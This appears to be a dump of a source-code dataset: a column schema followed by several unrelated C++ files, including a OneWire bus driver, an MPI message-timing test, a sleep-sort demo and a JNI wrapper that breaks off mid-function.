blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
264
content_id
stringlengths
40
40
detected_licenses
listlengths
0
85
license_type
stringclasses
2 values
repo_name
stringlengths
5
140
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
905 values
visit_date
timestamp[us]date
2015-08-09 11:21:18
2023-09-06 10:45:07
revision_date
timestamp[us]date
1997-09-14 05:04:47
2023-09-17 19:19:19
committer_date
timestamp[us]date
1997-09-14 05:04:47
2023-09-06 06:22:19
github_id
int64
3.89k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-07 00:51:45
2023-09-14 21:58:39
gha_created_at
timestamp[us]date
2008-03-27 23:40:48
2023-08-21 23:17:38
gha_language
stringclasses
141 values
src_encoding
stringclasses
34 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
2 classes
length_bytes
int64
3
10.4M
extension
stringclasses
115 values
content
stringlengths
3
10.4M
authors
listlengths
1
1
author_id
stringlengths
0
158
c327f1aaa38a98fe9a36ba3436a2cbba4ed73326
6bca781fd0ed49f083f2896686a7f806f68cc6e8
/src/SleeepSort.hpp
07e49ba26ebcfa1cba0cd6a0e0ac9d989c581575
[]
no_license
nkgautam94/DataStructures-Algorithms
eea99607ffb7ce5278918183eda59877cbe39780
d63fbc98dedfbc1e256ffbc9ac0c135c839311e1
refs/heads/master
2021-05-17T07:13:21.779099
2020-07-21T21:32:02
2020-07-21T21:32:02
250,691,418
0
0
null
null
null
null
UTF-8
C++
false
false
626
hpp
#include<iostream> #include<vector> #include<thread> #include<future> class SleepSort { public: static void execute() { std::vector<int> _vector_{2,3,4,5,4,2,3,4,5,6}; std::vector<std::future<void>> _future_; for(auto _number_ : _vector_) { _future_.push_back(std::async(std::launch::async, [](int _number_) { std::this_thread::sleep_for(std::chrono::milliseconds(_number_)); std::cout << _number_ << " "; } ,_number_)); } std::cout<<std::endl; } };
[ "nikhilgautam94@gmail.com" ]
nikhilgautam94@gmail.com
5eb68704dd392b1e4916c4eddfa08d7a51a09da6
06c15fb5309f624a6b82d9b11ecc4d222566f7ae
/labplus_box/firmware_online15.07.15/OneWire.cpp
22f703780d290296ba6e62e73ef6549d6288cbe2
[]
no_license
tigerlet/Mixly_Company_Extend
406d10c948069df9f77a7c05130f97eb09ee4c6c
b924108e37fac26708f27a27109701bfe1486b04
refs/heads/master
2020-11-29T11:25:08.944662
2019-12-12T09:58:40
2019-12-12T09:58:40
null
0
0
null
null
null
null
UTF-8
C++
false
false
16,894
cpp
/* Copyright (c) 2007, Jim Studt (original old version - many contributors since) The latest version of this library may be found at: http://www.pjrc.com/teensy/td_libs_OneWire.html Version 2.1: Arduino 1.0 compatibility, Paul Stoffregen Improve temperature example, Paul Stoffregen DS250x_PROM example, Guillermo Lovato PIC32 (chipKit) compatibility, Jason Dangel, dangel.jason AT gmail.com Improvements from Glenn Trewitt: - crc16() now works - check_crc16() does all of calculation/checking work. - Added read_bytes() and write_bytes(), to reduce tedious loops. - Added ds2408 example. Delete very old, out-of-date readme file (info is here) Version 2.0: Modifications by Paul Stoffregen, January 2010: http://www.pjrc.com/teensy/td_libs_OneWire.html Search fix from Robin James http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1238032295/27#27 Use direct optimized I/O in all cases Disable interrupts during timing critical sections (this solves many random communication errors) Disable interrupts during read-modify-write I/O Reduce RAM consumption by eliminating unnecessary variables and trimming many to 8 bits Optimize both crc8 - table version moved to flash Modified to work with larger numbers of devices - avoids loop. Tested in Arduino 11 alpha with 12 sensors. 26 Sept 2008 -- Robin James http://www.arduino.cc/cgi-bin/yabb2/YaBB.pl?num=1238032295/27#27 Updated to work with arduino-0008 and to include skip() as of 2007/07/06. --RJL20 Modified to calculate the 8-bit CRC directly, avoiding the need for the 256-byte lookup table to be loaded in RAM. Tested in arduino-0010 -- Tom Pollard, Jan 23, 2008 Jim Studt's original library was modified by Josh Larios. Tom Pollard, pollard@alum.mit.edu, contributed around May 20, 2008 Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Much of the code was inspired by Derek Yerger's code, though I don't think much of that remains. In any event that was.. (copyleft) 2006 by Derek Yerger - Free to distribute freely. The CRC code was excerpted and inspired by the Dallas Semiconductor sample code bearing this copyright. //--------------------------------------------------------------------------- // Copyright (C) 2000 Dallas Semiconductor Corporation, All Rights Reserved. // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the "Software"), // to deal in the Software without restriction, including without limitation // the rights to use, copy, modify, merge, publish, distribute, sublicense, // and/or sell copies of the Software, and to permit persons to whom the // Software is furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. // IN NO EVENT SHALL DALLAS SEMICONDUCTOR BE LIABLE FOR ANY CLAIM, DAMAGES // OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, // ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR // OTHER DEALINGS IN THE SOFTWARE. // // Except as contained in this notice, the name of Dallas Semiconductor // shall not be used except as stated in the Dallas Semiconductor // Branding Policy. //-------------------------------------------------------------------------- */ /* 单总线协议 单总线协参阅《单总线》这份文档。 驱动使用: 1、声明一个对象实例。 2、 */ //#include "OneWire.h" #include "Config.h" /*************************************************************************** Function: OneWire() Description: 构造函数 Calls: Called By: Input: uint8_t pin: 总线数据引脚 Output: Return: Others: ***************************************************************************/ OneWire::OneWire(uint8_t pin) { pinMode(pin, INPUT); bitmask = PIN_TO_BITMASK(pin); baseReg = PIN_TO_BASEREG(pin); #if ONEWIRE_SEARCH reset_search(); #endif } // Perform the onewire reset function. We will wait up to 250uS for // the bus to come high, if it doesn't then it is broken or shorted // and we return a 0; // // Returns 1 if a device asserted a presence pulse, 0 otherwise. // uint8_t OneWire::reset(void) { IO_REG_TYPE mask = bitmask; volatile IO_REG_TYPE *reg IO_REG_ASM = baseReg; uint8_t r; uint8_t retries = 125; noInterrupts(); DIRECT_MODE_INPUT(reg, mask); interrupts(); // wait until the wire is high... just in case do { if (--retries == 0) return 0; delayMicroseconds(2); } while ( !DIRECT_READ(reg, mask)); noInterrupts(); DIRECT_WRITE_LOW(reg, mask); DIRECT_MODE_OUTPUT(reg, mask); // drive output low interrupts(); delayMicroseconds(500); noInterrupts(); DIRECT_MODE_INPUT(reg, mask); // allow it to float delayMicroseconds(80); r = !DIRECT_READ(reg, mask); interrupts(); delayMicroseconds(420); return r; } // // Write a bit. Port and bit is used to cut lookup time and provide // more certain timing. // void OneWire::write_bit(uint8_t v) { IO_REG_TYPE mask=bitmask; volatile IO_REG_TYPE *reg IO_REG_ASM = baseReg; if (v & 1) { noInterrupts(); DIRECT_WRITE_LOW(reg, mask); DIRECT_MODE_OUTPUT(reg, mask); // drive output low delayMicroseconds(10); DIRECT_WRITE_HIGH(reg, mask); // drive output high interrupts(); delayMicroseconds(55); } else { noInterrupts(); DIRECT_WRITE_LOW(reg, mask); DIRECT_MODE_OUTPUT(reg, mask); // drive output low delayMicroseconds(65); DIRECT_WRITE_HIGH(reg, mask); // drive output high interrupts(); delayMicroseconds(5); } } // // Read a bit. Port and bit is used to cut lookup time and provide // more certain timing. // uint8_t OneWire::read_bit(void) { IO_REG_TYPE mask=bitmask; volatile IO_REG_TYPE *reg IO_REG_ASM = baseReg; uint8_t r; noInterrupts(); DIRECT_MODE_OUTPUT(reg, mask); DIRECT_WRITE_LOW(reg, mask); delayMicroseconds(3); DIRECT_MODE_INPUT(reg, mask); // let pin float, pull up will raise delayMicroseconds(10); r = DIRECT_READ(reg, mask); interrupts(); delayMicroseconds(53); return r; } // // Write a byte. The writing code uses the active drivers to raise the // pin high, if you need power after the write (e.g. DS18S20 in // parasite power mode) then set 'power' to 1, otherwise the pin will // go tri-state at the end of the write to avoid heating in a short or // other mishap. // void OneWire::write(uint8_t v, uint8_t power /* = 0 */) { uint8_t bitMask; for (bitMask = 0x01; bitMask; bitMask <<= 1) { OneWire::write_bit( (bitMask & v)?1:0); } if ( !power) { noInterrupts(); DIRECT_MODE_INPUT(baseReg, bitmask); DIRECT_WRITE_LOW(baseReg, bitmask); interrupts(); } } void OneWire::write_bytes(const uint8_t *buf, uint16_t count, bool power /* = 0 */) { for (uint16_t i = 0 ; i < count ; i++) write(buf[i]); if (!power) { noInterrupts(); DIRECT_MODE_INPUT(baseReg, bitmask); DIRECT_WRITE_LOW(baseReg, bitmask); interrupts(); } } // // Read a byte // uint8_t OneWire::read() { uint8_t bitMask; uint8_t r = 0; for (bitMask = 0x01; bitMask; bitMask <<= 1) { if ( OneWire::read_bit()) r |= bitMask; } return r; } void OneWire::read_bytes(uint8_t *buf, uint16_t count) { for (uint16_t i = 0 ; i < count ; i++) buf[i] = read(); } // // Do a ROM select // void OneWire::select( uint8_t rom[8]) { int i; write(0x55); // Choose ROM for( i = 0; i < 8; i++) write(rom[i]); } // // Do a ROM skip // void OneWire::skip() { write(0xCC); // Skip ROM } void OneWire::depower() { noInterrupts(); DIRECT_MODE_INPUT(baseReg, bitmask); interrupts(); } #if ONEWIRE_SEARCH // // You need to use this function to start a search again from the beginning. // You do not need to do it for the first search, though you could. // void OneWire::reset_search() { // reset the search state LastDiscrepancy = 0; LastDeviceFlag = FALSE; LastFamilyDiscrepancy = 0; for(int i = 7; ; i--) { ROM_NO[i] = 0; if ( i == 0) break; } } // // Perform a search. If this function returns a '1' then it has // enumerated the next device and you may retrieve the ROM from the // OneWire::address variable. If there are no devices, no further // devices, or something horrible happens in the middle of the // enumeration then a 0 is returned. If a new device is found then // its address is copied to newAddr. Use OneWire::reset_search() to // start over. // // --- Replaced by the one from the Dallas Semiconductor web site --- //-------------------------------------------------------------------------- // Perform the 1-Wire Search Algorithm on the 1-Wire bus using the existing // search state. // Return TRUE : device found, ROM number in ROM_NO buffer // FALSE : device not found, end of search // uint8_t OneWire::search(uint8_t *newAddr) { uint8_t id_bit_number; uint8_t last_zero, rom_byte_number, search_result; uint8_t id_bit, cmp_id_bit; unsigned char rom_byte_mask, search_direction; // initialize for search id_bit_number = 1; last_zero = 0; rom_byte_number = 0; rom_byte_mask = 1; search_result = 0; // if the last call was not the last one if (!LastDeviceFlag) { // 1-Wire reset if (!reset()) { // reset the search LastDiscrepancy = 0; LastDeviceFlag = FALSE; LastFamilyDiscrepancy = 0; return FALSE; } // issue the search command write(0xF0); // loop to do the search do { // read a bit and its complement id_bit = read_bit(); cmp_id_bit = read_bit(); // check for no devices on 1-wire if ((id_bit == 1) && (cmp_id_bit == 1)) break; else { // all devices coupled have 0 or 1 if (id_bit != cmp_id_bit) search_direction = id_bit; // bit write value for search else { // if this discrepancy if before the Last Discrepancy // on a previous next then pick the same as last time if (id_bit_number < LastDiscrepancy) search_direction = ((ROM_NO[rom_byte_number] & rom_byte_mask) > 0); else // if equal to last pick 1, if not then pick 0 search_direction = (id_bit_number == LastDiscrepancy); // if 0 was picked then record its position in LastZero if (search_direction == 0) { last_zero = id_bit_number; // check for Last discrepancy in family if (last_zero < 9) LastFamilyDiscrepancy = last_zero; } } // set or clear the bit in the ROM byte rom_byte_number // with mask rom_byte_mask if (search_direction == 1) ROM_NO[rom_byte_number] |= rom_byte_mask; else ROM_NO[rom_byte_number] &= ~rom_byte_mask; // serial number search direction write bit write_bit(search_direction); // increment the byte counter id_bit_number // and shift the mask rom_byte_mask id_bit_number++; rom_byte_mask <<= 1; // if the mask is 0 then go to new SerialNum byte rom_byte_number and reset mask if (rom_byte_mask == 0) { rom_byte_number++; rom_byte_mask = 1; } } } while(rom_byte_number < 8); // loop until through all ROM bytes 0-7 // if the search was successful then if (!(id_bit_number < 65)) { // search successful so set LastDiscrepancy,LastDeviceFlag,search_result LastDiscrepancy = last_zero; // check for last device if (LastDiscrepancy == 0) LastDeviceFlag = TRUE; search_result = TRUE; } } // if no device found then reset counters so next 'search' will be like a first if (!search_result || !ROM_NO[0]) { LastDiscrepancy = 0; LastDeviceFlag = FALSE; LastFamilyDiscrepancy = 0; search_result = FALSE; } for (int i = 0; i < 8; i++) newAddr[i] = ROM_NO[i]; return search_result; } #endif #if ONEWIRE_CRC // The 1-Wire CRC scheme is described in Maxim Application Note 27: // "Understanding and Using Cyclic Redundancy Checks with Maxim iButton Products" // #if ONEWIRE_CRC8_TABLE // This table comes from Dallas sample code where it is freely reusable, // though Copyright (C) 2000 Dallas Semiconductor Corporation static const uint8_t PROGMEM dscrc_table[] = { 0, 94,188,226, 97, 63,221,131,194,156,126, 32,163,253, 31, 65, 157,195, 33,127,252,162, 64, 30, 95, 1,227,189, 62, 96,130,220, 35,125,159,193, 66, 28,254,160,225,191, 93, 3,128,222, 60, 98, 190,224, 2, 92,223,129, 99, 61,124, 34,192,158, 29, 67,161,255, 70, 24,250,164, 39,121,155,197,132,218, 56,102,229,187, 89, 7, 219,133,103, 57,186,228, 6, 88, 25, 71,165,251,120, 38,196,154, 101, 59,217,135, 4, 90,184,230,167,249, 27, 69,198,152,122, 36, 248,166, 68, 26,153,199, 37,123, 58,100,134,216, 91, 5,231,185, 140,210, 48,110,237,179, 81, 15, 78, 16,242,172, 47,113,147,205, 17, 79,173,243,112, 46,204,146,211,141,111, 49,178,236, 14, 80, 175,241, 19, 77,206,144,114, 44,109, 51,209,143, 12, 82,176,238, 50,108,142,208, 83, 13,239,177,240,174, 76, 18,145,207, 45,115, 202,148,118, 40,171,245, 23, 73, 8, 86,180,234,105, 55,213,139, 87, 9,235,181, 54,104,138,212,149,203, 41,119,244,170, 72, 22, 233,183, 85, 11,136,214, 52,106, 43,117,151,201, 74, 20,246,168, 116, 42,200,150, 21, 75,169,247,182,232, 10, 84,215,137,107, 53}; // // Compute a Dallas Semiconductor 8 bit CRC. These show up in the ROM // and the registers. (note: this might better be done without to // table, it would probably be smaller and certainly fast enough // compared to all those delayMicrosecond() calls. But I got // confused, so I use this table from the examples.) // uint8_t OneWire::crc8( uint8_t *addr, uint8_t len) { uint8_t crc = 0; while (len--) { crc = pgm_read_byte(dscrc_table + (crc ^ *addr++)); } return crc; } #else // // Compute a Dallas Semiconductor 8 bit CRC directly. // this is much slower, but much smaller, than the lookup table. // uint8_t OneWire::crc8( uint8_t *addr, uint8_t len) { uint8_t crc = 0; while (len--) { uint8_t inbyte = *addr++; for (uint8_t i = 8; i; i--) { uint8_t mix = (crc ^ inbyte) & 0x01; crc >>= 1; if (mix) crc ^= 0x8C; inbyte >>= 1; } } return crc; } #endif #if ONEWIRE_CRC16 bool OneWire::check_crc16(uint8_t* input, uint16_t len, uint8_t* inverted_crc) { uint16_t crc = ~crc16(input, len); return (crc & 0xFF) == inverted_crc[0] && (crc >> 8) == inverted_crc[1]; } uint16_t OneWire::crc16(uint8_t* input, uint16_t len) { static const uint8_t oddparity[16] = { 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0 }; uint16_t crc = 0; // Starting seed is zero. for (uint16_t i = 0 ; i < len ; i++) { // Even though we're just copying a byte from the input, // we'll be doing 16-bit computation with it. uint16_t cdata = input[i]; cdata = (cdata ^ (crc & 0xff)) & 0xff; crc >>= 8; if (oddparity[cdata & 0x0F] ^ oddparity[cdata >> 4]) crc ^= 0xC001; cdata <<= 6; crc ^= cdata; cdata <<= 1; crc ^= cdata; } return crc; } #endif #endif
[ "bnu_l@126.com" ]
bnu_l@126.com
267a85582be7c502098bc0a494f57dd3158b320d
7673eb9368edcd11abc54456fe7d3cb1860f9326
/message-time.cpp
58aef133fabee36446f81f17a694e031de712a79
[ "MIT" ]
permissive
bvanderhaar/mpi-messageperformance
7642c55e9d74bfd778a5471f14da0161f85372ac
93dcf8ba1cf2ab9851ce464c53a8f833a3c0109d
refs/heads/master
2021-01-10T12:58:33.032689
2015-11-30T22:25:21
2015-11-30T22:25:21
47,076,955
0
0
null
null
null
null
UTF-8
C++
false
false
1,318
cpp
#include <stdio.h> #include <string.h> #include <unistd.h> #include <mpi.h> #define MASTER 0 #define TAG 0 #define MSGSIZE 1 #define MAX 25 int main(int argc, char *argv[]) { int my_rank, source, num_nodes; char my_host[MAX]; char message[MSGSIZE]; MPI_Init(&argc, &argv); MPI_Comm_rank(MPI_COMM_WORLD, &my_rank); MPI_Comm_size(MPI_COMM_WORLD, &num_nodes); double program_start = MPI_Wtime(); if (my_rank != MASTER) { double message_sent = MPI_Wtime(); MPI_Send(&message_sent, MSGSIZE, MPI_DOUBLE, MASTER, TAG, MPI_COMM_WORLD); } else { printf("Num_nodes: %d\n", num_nodes); printf("Hello from Master (process %d)!\n", my_rank); double message_sent = 0; MPI_Status status; for (source = 1; source < num_nodes; source++) { MPI_Recv(&message_sent, MSGSIZE, MPI_LONG_INT, source, TAG, MPI_COMM_WORLD, &status); double message_received = MPI_Wtime(); double elapsed = message_received - message_sent; printf("Host: %d Message Ticks: %f Now: %f Elapsed time: %f\n", status.MPI_SOURCE, message_sent, message_received, elapsed); } double program_end = MPI_Wtime(); double program_elapsed = program_end - program_start; printf("Program elapsed: %f\n", program_elapsed); } MPI_Finalize(); return 0; }
[ "brett.vanderhaar@gmail.com" ]
brett.vanderhaar@gmail.com
e8fc2808480ec717ab27c14617e9fe0fb47564b2
f6191ebb2500f6174bc7e9a1a5d9be20567b1793
/fitneuron/injectors/Leak.cpp
2468d95ef885288f421306cb0094fd3a3b67bd77
[]
no_license
acsutt0n/code
3d5c5c7f1dbe08c4438f8891b6aec6721fc07d68
cf26f127136fd7ba6499b1c45408bc050e5336a7
refs/heads/master
2021-01-21T04:26:57.743286
2016-04-14T13:52:05
2016-04-14T13:52:05
29,685,562
0
4
null
null
null
null
UTF-8
C++
false
false
833
cpp
#include "OhmicChannel.h" class Leak : public OhmicChannel<0,0> { public: // Define the parameters of the ion channel virtual void defineParameters(ParameterDescriptionList & parametersList, const list<Trace> & traces, NeuronModel & model); }; void Leak::defineParameters(ParameterDescriptionList & parametersList, const list<Trace> & traces, NeuronModel & model) { celsiusBase = 11.0; // (C) DEFINE_PARAMETER( gBarQ10, 2.0, UNITLESS ); // wild guess // model parameters, from Connor-Stevens model DEFINE_PARAMETER( gBar, 0.3, "uS/nF" ); DEFINE_PARAMETER( E, -17.0, "mV" ); } // register channel so it can be loaded dynamically by injectorFactory REGISTER_CLASS(CurrentInjector, Leak, injectorFactory);
[ "acsutt0n@gmail.com" ]
acsutt0n@gmail.com
85bf2d968da5baf771723f6add3d019c7f85ebfb
d30db1788cc80a77ce5a7cf3832065ce5051377d
/include/diary.h
49b4492c41b7db916e4397f38711278bee1ebeb6
[]
no_license
Natanlimap/diario
abe1572933ed92dec7a7f0ab804a0642c860b8f7
784459663df6044b6df7effd8ca5959fc715b5cc
refs/heads/master
2022-11-14T19:09:02.494506
2020-07-03T19:45:23
2020-07-03T19:45:23
273,475,507
0
0
null
null
null
null
UTF-8
C++
false
false
634
h
#ifndef W5N_DIARY_H #define W5N_DIARY_H #include <sstream> #include "../include/message.h" #include "../include/datetime.h" #include <string> #include <iostream> #include <fstream> #include <datetime.h> #include <vector> struct Diary{ std::string filename; size_t size; size_t max; std::vector<Message> messages; std::string format; Diary(const std::string &filename); ~Diary(); bool dayExists(const Message message); void add(const std::string& message, Date mdate, Time mtime); void write(); void list(); void loadMessage(); void getConfig(); std::vector<Message> search(std::string what); }; #endif
[ "natanlimap@gmail.com" ]
natanlimap@gmail.com
60b809be2bccc988e436d7b19e30bf09cc90f394
79da638f1edeb2b0ee49d8400a962712504832f0
/src/util/writerUtils.cpp
ed04073b9b5722eede2ea89cc981b89b1e368e2a
[]
no_license
andy-hanson/noze
1ca3e5937ceb944caa26aec9de3b474e21a67ecc
ad00c46ed21a73e100599ebb9991ba64726656c4
refs/heads/master
2020-06-12T16:54:13.407053
2019-09-21T20:22:41
2019-09-24T05:14:17
194,363,810
0
0
null
null
null
null
UTF-8
C++
false
false
1,661
cpp
#include "./writerUtils.h" void writePath(Writer* writer, const Path* p) { if (has(p->parent)) { writePath(writer, force(p->parent)); writeChar(writer, '/'); } writeStr(writer, p->baseName); } void writeRelPath(Writer* writer, const RelPath p) { repeat(p.nParents, [&]() { writeStatic(writer, "../"); }); writePath(writer, p.path); } void writePathAndStorageKind(Writer* writer, const PathAndStorageKind p) { writePath(writer, p.path); } //TODO:MOVE void writeLineAndColumn(Writer* writer, const LineAndColumn lc) { writeNat(writer, lc.line + 1); writeChar(writer, ':'); writeNat(writer, lc.column + 1); } void writePos(Writer* writer, const LineAndColumnGetter lc, const Pos pos) { writeLineAndColumn(writer, lineAndColumnAtPos(lc, pos)); } void writeRange(Writer* writer, const LineAndColumnGetter lc, const SourceRange range) { writePos(writer, lc, range.start); writeChar(writer, '-'); writePos(writer, lc, range.end); } void showChar(Writer* writer, char c) { switch (c) { case '\0': writeStatic(writer, "\\0"); break; case '\n': writeStatic(writer, "\\n"); break; case '\t': writeStatic(writer, "\\t"); break; default: writeChar(writer, c); break; } } void writeName(Writer* writer, const Sym name) { writeChar(writer, '\''); writeSym(writer, name); writeChar(writer, '\''); } void writeSpaces(Writer* writer, const size_t nSpaces) { repeat(nSpaces, [&]() { writeChar(writer, ' '); }); } void writeSymPadded(Writer* writer, const Sym name, const size_t size) { const size_t symSize = writeSymAndGetSize(writer, name); assert(symSize < size); writeSpaces(writer, size - symSize); }
[ "andy.pj.hanson@gmail.com" ]
andy.pj.hanson@gmail.com
8601b6517e4dc4328e122a81f1dc343e11226f2d
3841f7991232e02c850b7e2ff6e02712e9128b17
/小浪底泥沙三维/EV_Xld/jni/src/EV_SpatialInterface_Java/wrapper/idatasourcefactory_wrapperjava.cpp
bed6879ed1790ce9a3c45c29da340d25f8783781
[]
no_license
15831944/BeijingEVProjects
62bf734f1cb0a8be6fed42cf6b207f9dbdf99e71
3b5fa4c4889557008529958fc7cb51927259f66e
refs/heads/master
2021-07-22T14:12:15.106616
2017-10-15T11:33:06
2017-10-15T11:33:06
null
0
0
null
null
null
null
UTF-8
C++
false
false
47,763
cpp
/* This file is produced by the JNI AutoWrapper Utility Copyright (c) 2012 by EarthView Image Inc */ #include "spatialinterface/idatasourcefactory.h" #include <jni.h> #include "core_java/global_reference.h" #include "core_java/jni_load.h" #include <typeinfo> namespace EarthView { namespace World { namespace Spatial { namespace GeoDataset { class JIDataSourceFactoryProxy : public EarthView::World::Spatial::GeoDataset::IDataSourceFactory { private: EarthView::World::Core::ev_string m_getType_void_callback; EarthView::World::Core::ev_string m_createFromXML_EVString_callback; EarthView::World::Core::ev_string m_openDataSource_EVString_EVString_callback; EarthView::World::Core::ev_string m_openDataSource_IPropertySet_callback; EarthView::World::Core::ev_string m_createDataSource_EVString_EVString_callback; EarthView::World::Core::ev_string m_createDataSource_IPropertySet_callback; EarthView::World::Core::ev_string m_destroyDataSource_IDataSource_callback; EarthView::World::Core::ev_string m_existDataSource_IDataSource_callback; public: JIDataSourceFactoryProxy(EarthView::World::Core::CNameValuePairList *pList) : IDataSourceFactory(pList) { } ev_void unRegisterJavaReference() { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); if(__gr != NULL) { delete __gr; this->registerJavaReference(NULL); } } public: void register_getType_void_callback(EarthView::World::Core::ev_string __method) { this->m_getType_void_callback = __method; } void register_createFromXML_EVString_callback(EarthView::World::Core::ev_string __method) { this->m_createFromXML_EVString_callback = __method; } void register_openDataSource_EVString_EVString_callback(EarthView::World::Core::ev_string __method) { this->m_openDataSource_EVString_EVString_callback = __method; } void register_openDataSource_IPropertySet_callback(EarthView::World::Core::ev_string __method) { this->m_openDataSource_IPropertySet_callback = __method; } void register_createDataSource_EVString_EVString_callback(EarthView::World::Core::ev_string __method) { this->m_createDataSource_EVString_EVString_callback = __method; } void register_createDataSource_IPropertySet_callback(EarthView::World::Core::ev_string __method) { this->m_createDataSource_IPropertySet_callback = __method; } void register_destroyDataSource_IDataSource_callback(EarthView::World::Core::ev_string __method) { this->m_destroyDataSource_IDataSource_callback = __method; } void register_existDataSource_IDataSource_callback(EarthView::World::Core::ev_string __method) { this->m_existDataSource_IDataSource_callback = __method; } virtual ev_int32 getType() const { if (this->_gRef != NULL && this->m_getType_void_callback != "" && this->isCustomExtend()) { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); JNIEnv * __env; #if EV_PLATFORM == EV_PLATFORM_ANDROID bool __jniAttachable = false; if(EarthView::World::Core::JNILoad::getCachedJVM()->GetEnv((void **)&__env, JNI_VERSION_1_6) != JNI_OK) { EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); __jniAttachable = true; } #else EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); #endif jobject __obj = __gr->getJObject(); jclass __clazz = __gr->getClass(); jmethodID __method = __gr->getMethod("getType_void_callback"); jint __values1_j = (jint)__env->CallIntMethod(__obj, __method ); #if EV_PLATFORM == EV_PLATFORM_ANDROID if(__jniAttachable) { EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); } #else EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); #endif ev_int32 __values1 = (ev_int32) __values1_j; return __values1; } else { return this->IDataSourceFactory::getType(); } } virtual EarthView::World::Spatial::GeoDataset::IDataSource* createFromXML(const EVString& xml) { if (this->_gRef != NULL && this->m_createFromXML_EVString_callback != "" && this->isCustomExtend()) { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); JNIEnv * __env; #if EV_PLATFORM == EV_PLATFORM_ANDROID bool __jniAttachable = false; if(EarthView::World::Core::JNILoad::getCachedJVM()->GetEnv((void **)&__env, JNI_VERSION_1_6) != JNI_OK) { EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); __jniAttachable = true; } #else EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); #endif jobject __obj = __gr->getJObject(); jclass __clazz = __gr->getClass(); EarthView::World::Core::ev_wstring xml_wch = xml; jstring xml_j = __env->NewString((const jchar*)xml_wch.getString(), xml_wch.size()); jmethodID __method = __gr->getMethod("createFromXML_EVString_callback"); jlong __values1_j = (jlong)__env->CallLongMethod(__obj, __method , xml_j); #if EV_PLATFORM == EV_PLATFORM_ANDROID if(__jniAttachable) { EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); } #else EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); #endif EarthView::World::Spatial::GeoDataset::IDataSource *__values1 = (EarthView::World::Spatial::GeoDataset::IDataSource*) __values1_j; return __values1; } else { return this->IDataSourceFactory::createFromXML(xml); } } virtual EarthView::World::Spatial::GeoDataset::IDataSource* openDataSource(const EVString& path, const EVString& fileName) { if (this->_gRef != NULL && this->m_openDataSource_EVString_EVString_callback != "" && this->isCustomExtend()) { EarthView::World::Core::GlobalReference *__gr = (EarthView::World::Core::GlobalReference *)this->getJavaReference(); JNIEnv * __env; #if EV_PLATFORM == EV_PLATFORM_ANDROID bool __jniAttachable = false; if(EarthView::World::Core::JNILoad::getCachedJVM()->GetEnv((void **)&__env, JNI_VERSION_1_6) != JNI_OK) { EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); __jniAttachable = true; } #else EarthView::World::Core::JNILoad::getCachedJVM()->AttachCurrentThread((void **)&__env, NULL); #endif jobject __obj = __gr->getJObject(); jclass __clazz = __gr->getClass(); EarthView::World::Core::ev_wstring path_wch = path; jstring path_j = __env->NewString((const jchar*)path_wch.getString(), path_wch.size()); EarthView::World::Core::ev_wstring fileName_wch = fileName; jstring fileName_j = __env->NewString((const jchar*)fileName_wch.getString(), fileName_wch.size()); jmethodID __method = __gr->getMethod("openDataSource_EVString_EVString_callback"); jlong __values1_j = (jlong)__env->CallLongMethod(__obj, __method , path_j, fileName_j); #if EV_PLATFORM == EV_PLATFORM_ANDROID if(__jniAttachable) { EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); } #else EarthView::World::Core::JNILoad::getCachedJVM()->DetachCurrentThread(); #endif EarthView::World::Spatial::GeoDataset::IDataSource *__values1 = (EarthView::World::Spatial::GeoDataset::IDataSource*) __values1_j; return __values1; } else { return this->IDataSourceFactory::openDataSource(path, fileName); } } virtual EarthView::World::Spatial::GeoDataset::IDataSource* openDataSource(EarthView::World::Spatial::GeoDataset::IPropertySet* connection) { if (this->_gRef != NULL && 